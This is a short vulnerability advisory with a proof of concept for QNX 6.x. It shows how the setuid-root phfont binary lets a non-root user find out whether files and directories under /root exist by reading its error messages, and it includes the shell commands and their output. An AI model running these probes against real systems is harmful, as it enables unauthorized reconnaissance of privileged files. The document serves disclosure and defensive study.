# # QNX 6.x phfont file and directory enumeration vulnerability by cenobyte 2014 # <vincitamorpatriae@gmail.com> # # - vulnerability description: # QNX setuid root /usr/photon/bin/phfont allows any non-root user to enumerate # files and directories as root due to PfAttachLocalDllArgv() error messages. # # You can discover files and directories by observing the following error # messages and behaviour: # # 1) PfAttachLocalDllArgv(): Function not implemented # A file exists. # 2) PfAttachLocalDllArgv(): No such file or directory # A directory does not exist. # 3) And nothing will be returned when a directory exists. # # - vulnerable platforms: # QNX 6.5.0SP1 # QNX 6.5.0 # QNX 6.4.0 # # - not vulnerable: # QNX 6.3.0 $ id uid=100(user) gid=100 $ /usr/photon/bin/phfont -A -d /root/.ph $ /usr/photon/bin/phfont -A -d /root/doesnotexist $ PfAttachLocalDllArgv(): No such file or directory $ /usr/photon/bin/phfont -A -d /root/.profile $ PfAttachLocalDllArgv(): Function not implemented # ls -l /root total 13 drwx------ 5 root root 1024 Jan 07 16:24 . drwxr-xr-x 16 root root 1024 Oct 09 15:03 .. -rw-rw-r-- 1 root root 51 Jan 24 01:15 .lastlogin drwx------ 3 root root 1024 Sep 26 18:03 .mozilla drwxrwxr-x 3 root root 1024 Sep 27 15:36 .ph -rw-r--r-- 1 root root 191 Apr 20 2001 .profile drwx------ 2 root root 1024 Sep 26 18:11 .ssh